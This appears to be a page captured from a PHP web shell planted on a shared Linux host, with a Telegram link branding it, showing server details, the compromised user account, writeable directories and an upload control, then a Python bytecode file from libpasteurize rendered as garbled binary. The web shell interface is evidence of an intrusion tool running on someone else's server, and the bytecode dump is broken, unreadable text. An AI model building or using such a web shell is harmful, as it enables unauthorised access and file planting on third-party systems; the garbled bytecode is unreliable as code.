https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/libpasteurize/fixes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/libpasteurize/fixes/__pycache__/fix_features.cpython-310.pyc
o

,�]s
�@s>dZddlmZmZddlmZgd�ZGdd�dej�ZdS)	z�
Warn about features that are not present in Python 2.5, giving a message that
points to the earliest version of Python 2.x (or 3.x, if none) that supports it
�)�Feature�Features�)�
fixer_base))�
memoryviewz4power < 'memoryview' trailer < '(' any* ')' > any* >z2.7)�numbersz�import_from< 'from' 'numbers' 'import' any* > |
           import_name< 'import' ('numbers' dotted_as_names< any* 'numbers' any* >) >�2.6)�abczyimport_name< 'import' ('abc' dotted_as_names< any* 'abc' any* >) > |
           import_from< 'from' 'abc' 'import' any* >r)�iozvimport_name< 'import' ('io' dotted_as_names< any* 'io' any* >) > |
           import_from< 'from' 'io' 'import' any* >r)�binz+power< 'bin' trailer< '(' any* ')' > any* >r)�
formattingz<power< any trailer< '.' 'format' > trailer< '(' any* ')' > >r)�nonlocalzglobal_stmt< 'nonlocal' any* >�3.0)�with_tracebackztrailer< '.' 'with_traceback' >rcsFeZdZdZe�Zedd�eD��Zej	Z	�fdd�Z
dd�Z�ZS)�FixFeatures�	cCsg|]\}}}t|||��qS�)r)�.0�name�pattern�versionrr�B/usr/lib/python3/dist-packages/libpasteurize/fixes/fix_features.py�
<listcomp>;s�zFixFeatures.<listcomp>cs2tt|��|�}z|d=W|StyY|Sw)N�node)�superr�match�	Exception)�selfr�to_ret��	__class__rrr@s��zFixFeatures.matchcCsX|D]'}||jvr
q|j|}|jdkr|j}n|j}|||��d�|j�|�qdS)N�3)�reason)�features_warned�featuresr�cannot_convert�warning�message_text�add)rr�results�feature_name�curr_feature�failrrr�	transformKs


�zFixFeatures.transform)
�__name__�
__module__�__qualname__�	run_order�setr#r�FEATURESr$�PATTERNrr-�
__classcell__rrrrr3s�rN)	�__doc__�feature_baserr�lib2to3rr3�BaseFixrrrrr�<module>s
*

https://t.me/RX1948 - 2025